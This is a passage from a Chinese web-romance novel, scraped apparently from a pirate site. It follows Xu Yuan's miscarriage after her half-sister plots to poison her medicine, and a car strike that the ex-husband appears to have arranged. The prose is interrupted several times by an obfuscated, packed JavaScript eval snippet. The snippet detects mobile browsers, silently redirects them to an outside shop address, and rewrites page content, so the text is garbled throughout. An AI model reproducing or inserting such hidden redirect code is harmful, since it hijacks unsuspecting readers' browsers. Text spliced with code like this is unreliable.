她似乎并未在意这些,唇角含笑的听陆斯年和薛酒提到合同相关的事,并提了个建议,没有注意到身边投射下的大片阴影,直到挂断电话,才终于意识到不对。 身旁垂落大片带着低沉冷意的阴影。 许愿抬眸,便对上男人那双幽深森寒的黑眸。 嗜冷,危险,带着浓浓的狠辣。 是傅京礼。 许愿心口倏然一滞。 男人手中紧握着的是她的报告单,以及……孕检报告。 三个月了。 “是谁的孩子。” 他声音凛冽透露着浓重的寒意,平日毫无波澜没有任何感情的黑眸中只余冰冷,死死的盯着她。 “许愿,是谁的。” 他这样压低声音逼迫的开口。 “我们离婚两个月,你却有三个月的身孕,告诉我,孩子是谁的。” 他伸出手死死的握住许愿的手腕紧握,即便看到她吃痛,也此刻也顾不得在意。 他就是要问清楚……孩子到底是谁的! 许宁曾经说过的那些话不停地钻进他脑中。 是啊,许愿当初为了要帮着盛景炎,硬是将盛三踩下去。 她为什么要帮着盛景炎继承盛家,若非是两人背地里早就有私情,她这样的人凭什么无私的去帮盛景炎? 甚至在离婚后不过半个月的时间,就跟盛景炎在一起。 恋爱…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618126|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲吻……同居。 哈,衬得他像个笑话。 可他此刻却不敢直接下定论。 他甚至在害怕。 万一呢? 万一孩子不是盛景炎的,万一孩子是他的呢? 他们那个时候还没有离婚不是吗? 如果孩子是他的,他是一定不会这样轻易放过许愿的。 他会将她抓回来,不论付出什么代价,他都要让人回到自己身边,哪怕是锁在身边。 “许愿,告诉我,孩子是谁的。” 他持续逼问,就想要个答案。 许愿被逼着抬头对上男人幽暗深沉的黑眸,她看到男人一双眼眸充斥着血丝,甚至能透过男人的黑眸,窥探 到其眼底浓浓的深沉的恶意。 那些恶意根本无法掩盖,甚至都是冲着她的。 他疯了。 “孩子是谁的重要吗?我们已经离婚了,孩子不会属于任何人,只会是我的。” 许愿想要收回自己的手,奈何被男人握得死紧,根本反抗不得。 “你到底在隐瞒什么?” 傅京礼眼神如鹰隼般锐利冰冷,他的语气凛冽危险,像是透露着意味不明的自嘲冷笑。 “许愿,你在害怕吗?孩子到底是谁的。” 傅京礼再次重复,他此刻执拗的一定要个结果。 他要知道孩子是谁的,如果是他的……那他绝对不会再放开许愿了,他一定要将人困在自己的身边。 是的,他就是这样想的。 傅家的孩子就该留在傅家,怀了他的孩子,就该成为他的傅太太。 许愿对上他那双危险的黑眸,她甚至能透过那双深沉的黑眸看到自己的身影,看到自己躲闪的目光,以及男人内里藏着的恨意。 凭什么呢? 这段感情的背叛者从来都是傅京礼,为什么此刻好像做错了事的,似乎变成了她? 许愿咬着下唇,语气冰冷:“如果孩子是你的,那我为什么要决绝的跟你离婚。” 许愿的笑意愈发冷了,她此刻就是故意一般的开口,挑选着最刺耳的话来刺激他。 “孩子是盛景炎的。” “我和他早就在一起了。” 第173章 感情中的背叛者 傅京礼喉头发紧苦涩,死死握着她的手腕。 那样大的力道,让许愿有种自己手腕骨都要被捏碎的感觉。 傅京礼此刻就这般死死的盯着她,眼底的冷意肆意蔓延。 他看着面前的女人,听到她用带笑的声音说“孩子是盛景炎的”。 如果孩子是盛景炎的,那他又算什么? 许愿对他的那三年感情,在此刻好像都变成了笑话。 他看着面前容貌明艳精致的女人,看着她眉眼含笑,却只觉得她越发陌生,和记忆中的许愿全然不同。 她印象中那个本该温柔似水的女人,早就不见了。 “许愿,为什么?” 他握紧许愿的手腕,语气沙哑潜藏着他自己都察觉不到的深沉痛苦和恨意。 为什么背叛他? 为什么? 许愿有片刻的愣神,她有选择吗? 她太清楚傅京礼的性子。 傅京礼从来不肯让她怀上孩子,不然也不会一直盯着她吃长期避孕药。 他小心谨慎,只拿她当发泄的工具,她不是妻子、不是爱人,只是他发泄生理需求的用具,她不配诞下傅家子嗣。 他是这样想的,也是这样做的。 她曾经问过傅京礼如果自己不小心怀孕了怎么办? 傅京礼当时是如何回答的? 他就坐在办公桌上看文件,头都没抬的淡淡开口:“我们不会有孩子。” 她执意追问,傅京礼眼神平淡且冰冷的开口:“打掉。” 就是如此简单的回答她“打掉”。 呵,衬得她像个笑话。 离婚后,傅京礼一次次怀疑她怀孕,都只是想让她打掉这个孩子。 对他来说,这不是一条生命,而是阻碍他开始新生活的绊脚石。 他不爱她,更不爱这个孩子。 她要如何告诉傅京礼这个孩子是他的?根本没办法开口。 甚至还有另一种可能,傅家同一她将孩子生下来,但孩子只能抱回傅家抚养,她这辈子都会跟傅家人牵扯不清。 往后即便她跟盛景炎在一起,旁的人提及这个孩子,也会提到那段过往,一遍又一遍的提到那三年,揭开她内心最深处的伤疤。 她不要这样。 所以她决绝的开口说孩子是盛景炎的。 她握紧拳咬着下唇,对,没错,就该这样。 无论如何,孩子就是盛景炎的。 “你竟然问我为什么?” 许愿抬起头,眼尾微微上挑,带着明显的冰冷。 “你认为我才是这段感情的背叛者吗?” 许愿喉间溢出轻笑,像是带着明显的嘲意。 “背叛者,难道不是你吗?” “我们结婚的第一天,你就说过你不会爱我,随便我和谁在一起,都是我的自由。只要不被发现,只要不给傅家蒙羞,你都随我,这不是你的原话吗?” “你说你心里有人,你不会把爱分给我,所以我去找了盛景炎,现在你又凭什么来质问我?” 是啊,打从一开始傅京礼就没想对她认真。 他们之间的婚姻都是场笑话,能维持这场可笑婚姻三年,都是凭借着她对傅京礼深沉的爱意。 多可笑啊。 那三年傅京礼跟她亲密时,脑子里都想着谁呢? 她就是那个由着他发泄欲望,留在身边的那个美丽的影子。 她有时候甚至觉得,傅京礼亲吻她时,脑海中是不是闪过别人的脸。 那三年,她纵容傅京礼到什么地步? 对她,他从来都是想起什么便玩什么,因为她不会拒绝并且还会纵着他任由他胡来,就是他真人版完美的发泄工具。 她的衣服永远都是被撕碎的,他不会管她是不是真的舒服,因为他不爱她,并且心里知道她就算不舒服也会任由他高兴。 因为不爱,因为不被当作妻子,因为迟早会被抛开,所以他不会怜惜。 偶尔眼眸深处揉不散驱不完的温柔,可能都是给许宁的。 可偏偏傅京礼此刻竟然还追问,为什么要这样对他? 那他呢? 为什么要如此残忍对待她? “你有许宁,我有盛景炎,这不是很好吗?” 很好? 他怎么可能会觉得很好,离婚前许愿就选择了盛景炎,更衬得他像个笑话。 他为许愿想了那么多借口开脱,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅京礼意味不明的扫了她一眼,眼底都是凉意。 许宁仿佛从这眼神里面得到了答案,他会。 这个孩子不能留!这个孩子决不能留! 离开医院,许宁拨了个号码。 “妈,让叔叔帮帮我吧,这次他一定要帮我,我能不能嫁进傅家,就看这次了。” 话落,许宁的眼底都藏着冰冷的恨意。 第174章 算计 她真是庆幸许愿还需要喝江惊蛰特调的中药。 喝药多好啊,谁也不会知道那药里面究竟都加了些什么。 许母在做美容,听到许宁的话不由得皱眉,寻了个僻静的地方。 “你又要做什么?” 许宁的母亲早就改嫁了,嫁的还是一名在云尚工作的医生,职位不低,主任级别的医师。 现在接到许宁的电话,许母心里发慌,但是想到许宁出手大方,每次帮她做事都能拿到一笔钱,又释然了。 “算了,这些事电话里面说不清,我们见面说。”许母选了个附近的咖啡馆约许宁见面。 许宁心慌意乱,她实在着急,进了包厢就火急火燎开口:“叔叔他能不能帮我!” “到底出了什么要紧事,让你慌成这样。” 许母慢条斯理的搅动咖啡杯,语气平静和缓。 “我静不下来!许愿怀孕了,她怀了傅京礼的孩子!” 许宁又气愤又懊恼的抓着自己的头发,恨恨道:“我已经做了那么多努力,不是给许愿让位的,那个孩子不能留,有那个孩子在,我永远都不会成为傅太太!” 许宁的声音突然带着几许残忍之意。 “妈,现在只有你能帮我了。” 许母被她眼底的恨意吓到。 “只要我能嫁进傅家,只要我能成为真正的傅太太,那你就是傅京礼的岳母,我可以给你任何你想要的,妈,现在你必须帮我。” 许宁眼神灼热的握住许母的手腕。 许母被她这样的眼神看得心里发慌害怕,但为了往后的荣华富贵,唇角还是扯出一抹笑意来。 “宁宁,你要我怎么做?” “许愿现在还在喝江惊蛰特调的中药调理身体,她今天离开得匆忙,忘记带药,让叔叔在里面加几味药材吧,让她自然而然的落胎。放心,我不会让叔叔有危险的,我会安排一场意外,让她受到惊吓。” 许宁眼底的凶狠藏都藏不住,她想得越来越多,想让许愿落胎,想让她离傅京礼越远越好,想让她……死…… “妈,有那种喝了之后会让人身体变得虚弱,然后身体器官逐渐衰竭的药吗?” 她压着嗓子低声询问,说出了令人毛骨悚然的话。 手还被许宁抓住救命稻草一样握着,许母只觉自己仿佛是被魔鬼抓着手,浑身都充满凉意。 她此刻几乎不敢直视许宁的眼睛,只能略带几分惊慌的开口:“我没听说过这些,我不知道。” “可惜了。” 许宁哀叹一声:“不能一次性解决许愿,真是太可惜了。” 话落,她目光重新落在许母脸上:“妈,你必须帮我,我们是一条船上的人,你一定懂,一定会帮我的对吧?” 她的眼神明明是平静的,可许母却觉得其内里藏着明显的狠厉。 许母心尖仿佛都在发颤,她有些不敢开口,怕自己哪句话说错刺激到许宁,只能尴尬的扯了扯唇角。 被许宁凶狠的目光盯着,只能表态:“我和你叔叔都会帮你的。” 许宁这才咯咯的笑起来。 没有孩子,许愿还要怎么接近傅京礼? 赢家只能是她! …… 因为金融峰会的事,许愿一直忙着工作。 她只觉自己最近忙得太累了,有些头昏脑胀,小腹处不停传来钝痛感。 她想接杯热水,可手上没有半分力气,手中的水杯“啪”摔到地上碎成渣,开出残忍的玻璃花。 许愿迷迷糊糊倒在桌案前,最后一刻还在执拗的抓着手机,未拨出的号码是医院的急救电话。 不行,不能这样昏在这里。 许愿强撑着站起来,扶着墙步履不稳的走出公寓。 太阳太过刺眼,照得她眼睛完全睁不开,她想伸手想拦出租车,却见一辆疾驰而来的出租车朝着她狂奔而来。 她想逃,但全身无力,双脚发软像是被钉在原地。 直到车子疾驰的撞到她的身体。 娇软的身体在茂密的林荫草地上滚落,鲜血不停流出,腿间的鲜血犹如雪崩,染红了她身上白色的衣裙。 她死死的捂住自己的小腹,痛呼呻吟。 她挣扎的想要抓住些什么,但此刻无助又无力。 仿佛能感受到生命恍恍惚惚的在逐渐逝去,小腹处传来的疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618128|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛,让她陪伴她三月之久的孩子好像也在逐渐抽离。 闭上眼睛前,好像看到一个小孩的背影。 他咯咯笑着,却又笑着流泪的叫她“妈妈”。 他说没有人期待他的出生,他说好痛,他说要走了。 别走啊…… 她期待你的出生啊! 别走…… 即使是陷入昏迷,眼泪却还是从眼角不停滚落。 站在不远处的傅京礼眸光晦深的死死盯着昏睡过去的许愿,指骨因为用力泛白,手背青筋暴起。 许愿之前说过的那两段话,一遍一遍的像是复读机一样,不停的在他的耳边响起。 他一双黑眸多了几分猩红之意。 许愿,你会没事的。 他只是不想要那个孩子,只是一个孩子,你不 会有任何问题。 他呼吸紊乱,额头青筋冒气,助理看到傅京礼如此挣扎的模样终是劝道:“傅总,许小姐只是掉了个孩子,那个司机控制了开车的力度,她的身体不会有什么问题,您可以放心。” 如此轻飘飘的开口:“只是掉了个孩子”,残忍又可怕。 傅京礼指尖松动:“带她去医院。” …… 许愿醒来后只觉得头晕得厉害,她指尖动了动,被手背上传来的轻微疼痛刺激到了。 耳边传来男人关切的声音:“别动,会跑针。” 许愿嗓子有些哑:“盛景炎……我好难受。” 头晕眼花身体发软还有些想呕吐,小腹处的疼痛更是无法忽略。 她似乎挂了很久的点滴,手在外面放了许久,已经一片凉意。 她还是觉得有点疼,强撑着睁开眼皮,手背上有片青紫,像是之前跑针了才会有这大片的瘀青。 她顿了下,看了许久才发现针扎进了手臂静脉输送点滴,而不是手背。 “我这是怎么了?”许愿说句话都快要晕厥,头晕的又有了呕意。 流掉孩子大出血,因为她体质特殊身体流的血太多,才会如此虚弱。 虚弱到此刻浑浑噩噩,没有听到身边的声音根本不是盛景炎,而是傅京礼。 第175章 孩子没有了 傅京礼眸光深沉带着无尽的冷意,他没有说自己不是盛景炎,而是伸出手揉了揉她的头,眼底浮现出几分疼惜之意:“你太累了,身体又缺了气血,十分虚弱所以才会生病。” 他大手盖住许愿那青紫的手背:“中途跑了次针,不好再用这只手。那时你睡得太熟,还压着另一只手,也不好惊动你,就让人扎了手臂颈动脉给你打点滴,点滴瓶里还有小半瓶马上就完了,再稍微等一等。” 许愿此刻这副模样实在虚弱得厉害,素着一张脸,面上半点血色都无,脸上只余痛苦。 傅京礼喉头发堵,神色复杂的深深望着她,那眼底的感情实在让人看不懂猜不透。 许愿的头疼得厉害,她的手倏然放在小腹上,却察觉到不对,小腹平坦…… 她猛然抬头,只是这样剧烈的动作让她头更疼。 “孩子……孩子呢?” 许愿顾不得头痛和涌上来的那股呕意,她执意开口追问。 孩子呢? 她的孩子去哪里了? 她也终于察觉到面前的男人不是盛景炎,而是傅京礼。 不对,这一切都不对! “为什么是你,盛景炎呢?” 许愿有些疯狂的要从床上下去,扎在动脉处的针因为挣扎而掉落,鲜血不停自动脉冒出,她浑身无力的跪坐在地上,整个人无力又较弱。 傅京礼眼瞳幽深的紧盯着她。 “许愿,是我救了你。”傅京礼声音低沉,“你最近太累了,所以出了车祸。” 他如此简短的一段话,几乎是向许愿解释了前因后果。 因为太累,所以出了车祸 。 ……车祸…… 许愿终于想起来那辆疾驰而来的车撞飞自己的身体,喷涌的鲜血和离开的幼童背影,模模糊糊的眼底已经全是泪意。 孩子,没有了。 她垂着头,眼泪一滴一滴的滑落。 怎么会呢?怎么能够这么突然呢? 明明不久前她还因为这个孩子跟盛景炎争执,他们想得多好呢? 那是她和盛景炎的孩子,他们会让孩子沐浴在爱中长大,那是他们的宝贝啊。 没有了,一切都没有了。 盛景炎…… 盛景炎你在哪里呢,她快要承受不住了。 她无意识的呢喃出盛景炎的名字,像是带着乞求。 “为什么到现在你还在想着盛景炎?你和他的孩子已经没有了,许愿,你们之间没有缘分了,你明白吗!” 傅京礼面色阴沉,他握住许愿的肩,死死的盯着她:“如果那个孩子是你和盛景炎之间的羁绊,那这个羁绊已经消失了!” “你是为了那个孩子才跟盛景炎捆绑到一起不是吗?没了这个孩子,你可以做更多的选择!” 孩子是她和盛景炎之间的羁绊吗? 呵…… 许愿头太痛了,她想不清楚很多事了。 她的脑里一片混乱,她很轻慢的抬起头,看着面前眼底藏着怒意恨意的男人,看着这个她爱了很多年曾为他丢掉自尊的男人。 那是她和盛景炎之间的羁绊吗? 不是的。 那是她和傅京礼之间的羁绊。 他们之间曾经存在那么多的羁绊,却在一点一点完全的被抹除消失。 婚姻、车子、礼物、公司、职位……最后是孩子。 她与傅京礼之间最后的羁绊,完全的消失了。 许愿喉间溢出苍凉却苦涩的笑。 “那不是我和盛景炎之间的羁绊。” “傅京礼,你不会懂的。” “我不管这些!”傅京礼死死握住她的手,漆黑幽深的黑眸盯紧了他,此刻的他好像丢了从容和他引以为傲的稳定情绪。 傅京礼像是挣扎着在做最后的决定:“许愿,我给你机会。” “我给你回到我身边的机会。” 只一次,只要你做了正确的选择,我就会放过你,你能活得好好的,重新嫁给我,成为我的妻子。 我可以忘掉你跟盛景炎之间发生的一切。 回到他身边? 许愿果然变了脸色,脸色愈发苍白,她唇角都像是在轻微的颤抖着。 她很想推开面前的男人,却没有任何力气,她声音很轻:“傅京礼,消失的是我们之间的羁绊,回不去的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618129|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所有的羁绊都消失了,回不去的。 命中注定的,她和傅京礼没有未来没有以后。 什么叫消失的是他们之间的羁绊,什么叫回不去? 明明是许愿选择了盛景炎,抛弃了他! 傅京礼低头黑眸充血可怖,却趁她不备,一手搂住她的后脑,凶狠的吻上去。 这不像是在亲吻,更像是在行凶,吻得惨烈,浓重的血腥气在两人口中蔓延开来,却更刺激了他。 许愿想要挣扎,却根本推不开他,被动的承受着他的吻,眼泪却从眼角滑落。 她狠狠的咬住男人的下唇,他吃痛的放开她,眼神狰狞可怕。 “疯子。” 许愿抱住自己的膝盖:“傅京礼,你这个疯子!” 傅京礼黑眸压抑着说不出的情感 ,嗓音沙哑,“许愿,我给过你机会了。” 是你自己要将我,推开选择了盛景炎。 往后,我不会再留情了。 傅京礼眸光晦涩:“你好自为之。” 傅京礼离开了。 许愿的眼泪根本止不住,她不明白为什么会发生这种事。 她不能接受的事情接二连三的发生。 孩子没了,傅京礼疯了。 她甚至能看到傅京礼眼底藏着的汹涌恨意? 傅京礼在恨谁? 是恨她,还是恨盛景炎? 可是傅京礼凭什么恨他们呢? 明明丢掉孩子的是她,受伤的是他,为什么傅京礼就能够摆出一副他是受害者的样子,肆无忌惮的伤害她。 她的眼泪止不住,这时沈略提着饭盒和汤煲进了病房,看到她这副模样顿了下:“医生说你太虚,缺了气血,我让人做了点补血的东西,先起来吃点东西也好快些养好身体。” 许愿没有力气坐起来,沈略叹了口气,将她抱到病床上,打开了汤煲。 里面是乌鸡汤,菜是猪肝菠菜,凉拌木耳,香菇兰芹,还有两小块阿胶糕。 全都是补血的。 许愿没有说话,沈略望向她的眼神有几分温柔和不忍,他开口劝道:“吃点吧,不吃点东西怎么养病。” 第176章 小朋友走了 许愿却看都没有看。 她只觉得浑身发冷,止不住的寒意不停涌动,看到任何食物都会反胃的程度。 “我的手机呢。” 许愿没有看他,她垂着头,声音很轻。 此刻她甚至分不清是在生谁的气。 沈略动作僵硬一瞬:“车祸的时候被压碎了。” 她一言不发就要下病床,但身体太过虚弱,双腿一软就要摔倒。 沈略伸手去扶她,她却执拗的躲开,任由自己坐在冰冷的地面上。 “别碰我。” 许愿浑身无力,她甚至手掌都握不住。 “看到你们,我都会觉得恶心。” 她吐出犀利冰冷的字眼,毫不在意沈略听到这些内心会是什么想法。 她抬起头对上沈略那双受伤的眼眸,几乎是逼问。 “是傅京礼做的,对吗?” 方才脑子乱嗡嗡的,她只顾着悲痛,没有时间去理清头绪,想明白前因后果,此刻静下来,她只觉浑身发寒。 傅京礼才知道她怀了孩子第二天她就出了车祸,弄丢了这个孩子。 罪魁祸首是谁呢? 是傅京礼。 他认为是她背叛了她,那个孩子留不得,所以才会如此残忍的对待她。 小腹处传来的痉挛疼痛感,疼得她眼前一片模糊。 “你们真的……让我恶心。” 她声音太轻了,她此刻眼底尽是苍凉。 沈略被她这样空洞的眼神看得内心发堵。 “老大他没有做这些,我一直跟在老大身边,他做不出这种事的。”沈略为傅京礼开脱。 他是真的不知道这件事,如果他知道,无论如何也会阻止这种悲剧的发生。 许愿垂下眼睫,自嘲的掀唇。 “不是傅京礼做的,会是谁呢?” 是啊,会是谁呢? 许宁。 许愿瞳眸在此刻陡然睁圆,一种难以言喻的悲痛愤怒感涌上心头。 眼泪不停自她眼底滚落,许愿自嘲的笑着。 “我到底是做了多少错事呢,为什么就是不能让我安稳生活呢……” 她真的很难过,难过到整颗心仿佛都在枯萎。 她颤颤巍巍的站起身,身体的疼痛令她忽视不得,她扶着墙走到病房门口,死死的握住门把手,因为力气太大,所以指骨泛白。 “许愿,你到底要做什么!” 沈略见不得她这副模样。 他们认识三年,共事三年,什么时候见过许愿这副失魂落魄的模样。 在他心中,她应该永远理智,永远高高在上,永远不会被打倒,而不是遇到这种事就承受不住。 “我要打给盛景炎。” 许愿的眼泪仍旧在滑落。 “他为什么还不来接我回家。” 在这种最脆弱的时候,许愿克制不住的只能想到盛景炎。 她想要见他,想要他的拥抱,想要感受到他给予的赤诚的爱。 沈略喉头堵得厉害,他取出自己的手机:“他现在人在f国忙有关于金融峰会上的项目合作,你还要打给他吗?” 许愿顿住。 她转头的瞬间,对上沈略心虚的表情。 许愿突然就笑了,笑意里面全都是苦涩和讽意。 “真的好巧呢,就是这么巧,我出事的时候,盛景炎飞到国外。” “我要不要打给他呢,我能打给他吗?事关盛世的合作……” 许愿有些失神。 这种情况,她不会打给盛景炎了。 她沉默的垂下头,缓慢的挪动步子到床边。 她躺在床上,被子蒙住自己的头,将自己完完全全的困在这一片黑暗中。 眼泪啪嗒啪嗒的不停往下落,染湿了枕巾,耳边都是凉意。 她不能闭眼,只要闭上眼,脑海中全都是小孩子决绝离开的背影。 她捂住自己的嘴巴,才没有让自己放声哭泣。 太丢脸了。 不知过了多久,听到急促的脚步声由远及近停在床边。 “盛景炎……你怎么……”沈略声音里都带着惊讶。 这个时间,盛景炎应该早就被支开到f国谈合作了,为什么会在这个时间回来? 他这是不要合作也要赶回来陪许愿吗? 几十亿的大单子,他真是疯了! 沈略正要问,却听到男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618130|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将手指放到唇边:“嘘……阿愿在休息,不要吵到她。” 沈略不再开口,病房再度陷入寂静。 盛景炎目光落在她露在外的手上,手背上露出的皮肉青青紫紫,是挂水的时候一直跑针导致的。 他取出酒精湿巾擦拭了双手,然后用热烫的掌心握住她冰凉的手,很温柔的动作,像是担心惊扰到她。 许愿一直都没有睡着,她能感受到盛景炎此刻的温柔,她内心涌过的沧桑感无力感在此刻到达顶点。 她掀开被子,整双眼睛已经一片红肿,却还在不停落泪。 看到盛景炎,那股委屈的感觉从心头不断上涌。 “抱歉,是我来晚了。” 他眼神柔和包容,开口就是表达歉意,好像 所有的一切都是他造成的一般。 可跟他又有什么关系,错的……明明不是他。 许愿扑进他怀中,感受他怀中的温暖,盛景炎顿了一瞬,然后将人整个环抱在怀中,下巴抵在她肩上,很轻微的叹息。 “阿愿,我很难过。” 看到她这样,他很难过。 她不该如此,她是他的爱人,他想要将这世界上最好的一切都交到她手中送给她。 他想将她捧到最高处,让她俯瞰芸芸众生,而不是此刻这般脆弱悲伤得好像一阵风都能将她吹倒。 许愿声音里面带着哽咽。 “小朋友走了。” “盛景炎,他走了。” 许愿任由他握着自己的手,声音里面都带着崩溃的感觉。 “我为什么要为了小朋友跟你分开,是不是他感受到我们不欢迎他,他才会走的……全都是我的错,全都是我……” 她已经将所有的错都包揽到自己的身上。 她想,如果那天不去找盛景炎确认那么多,那盛景炎就不会离开。 盛景炎不离开,她可能就不会出车祸,孩子不会出事,一切也都不会发生。 归根到底,全都是她的错。 “一定要分对错吗?” 盛景炎握着她冰凉的手,唇贴在她掌心轻缓的吻了吻。 “那错的是我,是我太在意你的感情,所以才会幼稚的想要你的回应。” 第177章 乖一点,好好休息 许愿不说话,她不想将一切推到盛景炎身上,归根到底盛景炎是最无辜的。 “我只是没有办法接受。” “我们那样期盼他的到来,我甚至想过等他出来后,我要陪他一起做手工,一起追他喜欢的小动漫,一点点的陪他从幼儿时期逐渐长大成人,我想把我的一切都交给他,可是……” 那种悲意再度涌上心头,克制不住的泪意。 “阿愿,不要逃避,你需要接受这一切。” 盛景炎的目光温和坚定。 “我们都不想发生这种事,你已经做到最好,但我们跟他有缘无分,错的不是你我,是那场意外。” “他还没有降生,他还有重新选择的机会。” “或许他可以遇到更好的家庭,过上更幸福的人生。” “他在你身体内时一直都是懂事的,懂事的小朋友也不希望自己的母亲为他的离开伤心难过。” “阿愿,你不知道吗?你这样悲伤痛苦,他走得也走不安稳,会一直想停下来看一看你。” “所以为了你我,也为了他,不要再去想这些了好不好。” “你这样难过,我也会跟你一起难过的。” 盛景炎声音里面一直都裹挟着明显的柔意。 他看着面前的女人,内心是不忍的,甚至不明白为什么老天爷要让她遭受这么多劫难。 他知道许愿最初并不算欢迎这个孩子的到来,可时间久了,他能感受到许愿对孩子的爱护,她是期待孩子降生的。 不过三个月,许愿已经开始准备小孩子的衣物,小孩子的玩具,还特地定制了摇摇椅,小爬垫,公寓有个房间专门设计成婴儿房。 她虽然不说,但对孩子是饱含爱意和期待的。 他从来不喜欢小孩子,觉得小孩子吵闹又无趣,只会给人带来麻烦。 可如果那个孩子是许愿的,他愿意去期待去教养。 现在却是一切还未开始,就已经结束。 盛景炎暖着她冰凉的手,让她感受到自己的体温,让她的情绪逐渐稳定下来。 “陪我吃点东西好不好?刚下飞机,一路奔波的好累。”他笑了笑,毫不顾忌的在她面前示弱。 许愿喉间微微发堵,好半晌嗯了一声。 盛景炎眸光掠过餐桌上的那份已经快要冷掉的饭菜,并未说什么,他的助理重新取出一份饭菜,猜到她现在没有胃口,就给她盛了一碗鸡汤,已经撇去上面的鸡油,鸡汤味道香甜却不油腻。 盛景炎在病床上摆好小桌子,取出汤匙,一勺一勺的喂给她。 许愿没有拒绝他。 事实上,许愿从未像这样被贴心照顾过。 幼年时期没有被苏青莲和许镇江如此照顾过,长大后嫁给傅京礼,更是她在一直照顾傅京礼,并没有得到过什么真情反馈。 以前受了那么多的苦换来一个盛景炎,够了呢。 她应该是真的没有胃口,喝了半碗就不想喝了。 盛景炎没有逼她,将剩下的半碗喝掉。 在路上他就已经询问了许愿的具体情况,知道她现在头晕得厉害,整个人恍恍惚惚的,他便将人塞进被子里,一点缝隙都不留,不让风吹到她。 “乖一点,好好休息。” 许愿嗯了一声,眼睛却一直追随着盛景炎,没有移开。 盛景炎就坐在床边,握住她仍旧带着凉意的指尖捏了捏。 “我不走,我就在这里陪着你。” 许愿就盯着他看,不说话。 “真的不会走,以后我走到哪里,都会带上我们阿愿的。” 许愿这才闭上眼睛休息。 一直未离开的沈略看完了全程,心里堵得厉害。 他是知道许愿在外是有多果决多雷厉风行,更知道许愿在傅京礼面前有多优雅体贴。 她一直都是完美的。 但今天的沈略才知道许愿其实并没有多完美,她会受伤,会难过,会害怕,这样更趋近于真实的她。 以往的许愿倒像是渡上了一层虚幻的假面,只有眼前的这个许愿才是真正的她。 纵然她在外如何理性,她也会有虚弱希望关怀的时刻。 是他将许愿想象得无所不能,所以才会犯下这样可笑的错误。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618131|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他见过许愿接醉酒的傅京礼回家,面对那些领导高层她不慌不忙,侃侃而谈,从不因为自己是女性角色而怯懦,面对长辈她更是优雅温婉。 a市许经理,谁提起她不会赞叹? 可就是这样一直都可以镇定面对所有事的许愿,她以前从来没有可以依赖示弱的对象。 那一刻,许愿为什么执意要找盛景炎呢? 恐怕在许愿心里,只有一个盛景炎才是她的依靠了,她可以毫无保留的在他面前表现出自我,那是她的爱人。 许愿不该是这样的,可偏偏这样的她更加真实。 沈略喉口酸涩难耐,嘴唇嗫喏,却说不出半句话,只能守在一旁。 盛景炎看着面前一直没有安全感的爱人,眸光愈发深沉幽暗,本来一直含笑的眼睛都藏着明显可见的凉意。 他冷淡的瞥了沈略一眼,却并未说什么,兀自取出 文件翻阅。 盛景炎的占有欲其实一直都很强,此前他在许愿身边安排过很多人,他那时说不清自己是什么心思,只是不想自己的人受到任何伤害。 后来撤掉保镖,也是因为不想许愿为此生气,他不想让许愿认为自己是在监视她。 可现在看来,他不该撤掉那些保镖。 如果不撤掉保镖,许愿就不会出事。 他眸光愈发黯淡。 